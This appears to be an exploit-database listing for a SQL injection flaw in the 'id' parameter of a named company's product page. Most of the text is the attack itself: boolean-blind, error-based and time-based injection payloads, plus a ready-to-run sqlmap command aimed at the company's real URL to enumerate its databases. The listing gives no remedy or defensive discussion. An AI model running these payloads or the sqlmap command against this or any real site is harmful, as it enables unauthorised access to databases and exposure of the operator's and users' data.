Advertisement
CVE | Category | Price | Severity |
---|---|---|---|
N/A | CWE-89 | N/A | High |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Unknown | High | Remote | 2019-09-17 |
CVSS | EPSS | EPSSP |
---|---|---|
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L | 0.0219 | 0.5015 |
############################################################################## # Exploit Title : Micro Techinno SQL INJECTION Vulnerability # Author : AtakBey,Secret Team # Date : 15/09/2019 # Vendor Homepage : www.microtechinno.com # Tested On : Windows # Category : WebApps # Exploit Risk : Medium ############################################################################## # Exploit : /product/detail.php?id=[SQL Injection] # Payload : Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=34 AND 8920=8920 Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: id=34 AND EXTRACTVALUE(6687,CONCAT(0x5c,0x7171626a71,(SELECT (ELT(6687=6687,1))),0x7171706a71)) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=34 AND SLEEP(5) # SQLMAP Config sqlmap.py -u "http://www.microtechinno.com/product/detail.php?id=34" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs ############################################################################## # Thanks : Atakbey,Secretteam.biz
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.